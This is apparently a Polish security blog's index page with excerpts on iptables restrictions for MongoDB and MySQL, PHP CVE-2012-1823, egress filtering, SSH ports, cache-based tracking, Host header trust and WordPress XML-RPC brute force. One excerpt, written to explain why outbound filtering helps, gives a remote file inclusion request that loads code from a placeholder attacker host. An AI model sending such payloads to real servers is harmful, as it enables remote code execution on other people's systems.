A

ktualnie baza MongoDB (v2.4.8) nie posiada możliwości ograniczenia dostępu do wybranych adresów IP na poziomie warstwy aplikacji. Mechanizmem, który można szybko do tego wykorzystać jest netfilter. Daje się on szybko dostosować szczególnie w środowisku wirtualizacji, w którym maszyna wirtualna posiada zmienny, wewnętrzny adres IP na interfejsie eth0 – a jej zewnętrzny adres przechodzi przez mechanizm NAT.
[ czytaj całość… ]

W

maju 2012 roku opublikowano lukę w PHP CVE-2012-1823. Dotyczy ona tylko serwerów, które posiadają skonfigurowaną obsługę języka PHP jako skrypty CGI. Chociaż nie jest to domyślna konfiguracja w większości systemów – w takich dystrybucjach jak Debian i Ubuntu instalując paczkę php5-cgi i zostawiając domyślne ustawienia serwera Apache – pozwalające na dostępność binarnych plików w ścieżce http://serwer/cgi-bin/php5 wystawiamy nasz serwer na eksplorację luki. O zasadzie luki możemy przeczytać tutaj.
[ czytaj całość… ]

S

erwer WWW głównie akceptuje połączenia przychodzące od użytkowników, a sam niekiedy potrzebuje nawiązać nowe połączenia z zewnętrznymi zasobami np. bazą danych. Dlatego dobrze znając architekturę aplikacji – warto ograniczyć jej połączenia wychodzące tylko do tych, które są jej rzeczywiście niezbędne. To sprawia, że tak wyprofilowana sieciowo aplikacja staje się trudniejsza do zdobycia na przykład przez atakującego, który chce wykorzystać atak z wykorzystaniem zewnętrznych zasobów:

/podatny_kod.php?bug=http://evilhacker.net/exploit?

[ czytaj całość… ]

Z

ałóżmy, że na moim serwerze posiadam zainstalowany tylko serwer MySQL, który nasłuchuje na wszystkich interfejsach (zewnętrzny / wewnętrzny / lokalny). Jednak za pomocą netfilter ograniczam do niego dostęp tylko do interfejsu zwrotnego, a w przyszłości wybiorę kolejne adresy IP, które będą mogły się z nim łączyć. Wydaje proste polecenie iptables:

iptables -A INPUT -p tcp --dport 3306 ! -s 127.0.0.1 -j DROP

A więc mój firewall wygląda następująco:

[root@darkstar ~]# iptables -L
Chain INPUT (policy ACCEPT)
target     prot opt source               destination
ACCEPT     all  --  anywhere             anywhere
DROP       tcp  -- !localhost.localdomain  anywhere            tcp dpt:mysql

Chain FORWARD (policy ACCEPT)
target     prot opt source               destination

Chain OUTPUT (policy ACCEPT)
target     prot opt source               destination
ACCEPT     all  --  anywhere             anywhere

[ czytaj całość… ]

J

akiś czas temu na Hacker News pojawił się artykuł próbujący udowodnić, że uruchamianie daemona SSH na innym porcie niż 22 (Opcja: Port w /etc/ssh/sshd_config) to zły pomysł. Czy na pewno? Autor głównie skupił się w swoich wywodach na argumencie security by obscurity, co jest ulubionym ryżym śledziem ludzi, którzy prawie rozumieją to zagadnienie.
[ czytaj całość… ]

O

prócz wszystkich znanych metod śledzenia użytkowników w Internecie tj. ciasteczek, javascript, localstorage, sessionstorage, globalstorage, flash, adresu ip, user agentów, czy metody opracowanej przez Panopticlick doszła kolejna – wykorzystująca inną przestrzeń do przechowywania danych, która jest trwała między ponownym uruchomieniem przeglądarki: pamięć cache.
[ czytaj całość… ]

P

owszechną praktyką wśród programistów piszących własne webaplikacje oraz webowych frameworków odkrywających koło od nowa jest poleganie na wartościach zwracanych w nagłówku HTTP Host. Jest to bardzo wygodny sposób na gwarancję, że ta sama aplikacja zostanie uruchomiona na localhoście, serwerach środowiska: developerskiego, testowego, produkcyjnego, innych domenach i subdomenach itd., bez wprowadzania modyfikacji w kod aplikacji. Prosty przykład w PHP:
[ czytaj całość… ]

O

statnio w sieci pojawia się coraz więcej narzędzi wykorzystujących podatności w interfejsie XML-RPC WordPress’a, który to od wersji 3.5 jest standardowo włączony. Początek tej historii zaczął się od publikowania przez coraz to różne portale wiadomości, że różne strony oparte o ten popularny system blogowy są masowo atakowane za pomocą prób odgadnięcia hasła do konta administratora. Gdy wszyscy rozwodzili się lub przypominali, jak to zabezpieczyć panele administracyjne – Marcin Probola w prosty sposób wykorzystał do implementacji wcześniej wspomnianych ataków brute force właśnie XML-RPC.
[ czytaj całość… ]

W

nawiązaniu do artykułu “Tworzenie lepszych haseł dzięki CrackLib” – aktualnie istnieje szybsza metoda sprawdzenia siły hasła z poziomu konsoli systemu. Wystarczy posiadać zainstalowaną bibliotekę cracklib, w której skład wchodzi program cracklib-check. Program ten pobiera listę słów kandydujących do haseł przekazanych za pomocą standardowego wejścia i sprawdza ich złożoność za pomocą biblioteki cracklib:

[agresor@darsktar ~]$ echo "25poligen" | cracklib-check
25poligen: oparte na słowie ze słownika

Oczywiście o skuteczności cracklib-check decydują posiadane lub stworzone słowniki za pomocą takich narzędzi jak: cracklib-format i create-cracklib-dict.

Więcej informacji: CrackLib

P

ewnego, dawnego razu – pewna firma – nazwijmy ją X – zauważyła, że jej firmowy serwer z aplikacją Y zaczyna coraz bardziej wolniej przetwarzać dane. Ówczesny administrator (specjalizujący się głównie w systemach .exe) zwrócił się do mnie z prośbą o “rzucenie okiem”, czy czasami serwer lub aplikacja nie wymaga zmian w konfiguracji, w celu przywrócenia pierwotnej wydajności i czy nie wynika to z ilości danych jakie zostały już przetworzone. Po uzyskaniu klucza SSH na konto uprawnione do polecenia sudo – 18.02.2011 roku zalogowałem się na serwer Z firmy X w celu sprawdzenia ogólnego stanu serwera. Po uzyskaniu informacji o stanie wolnego miejsca na partycji dla danych z aplikacji za pomocą polecenia df -h przyszedł czas na sprawdzenie aktualnych procesów za pomocą ulubionego narzędzia htop.
[ czytaj całość… ]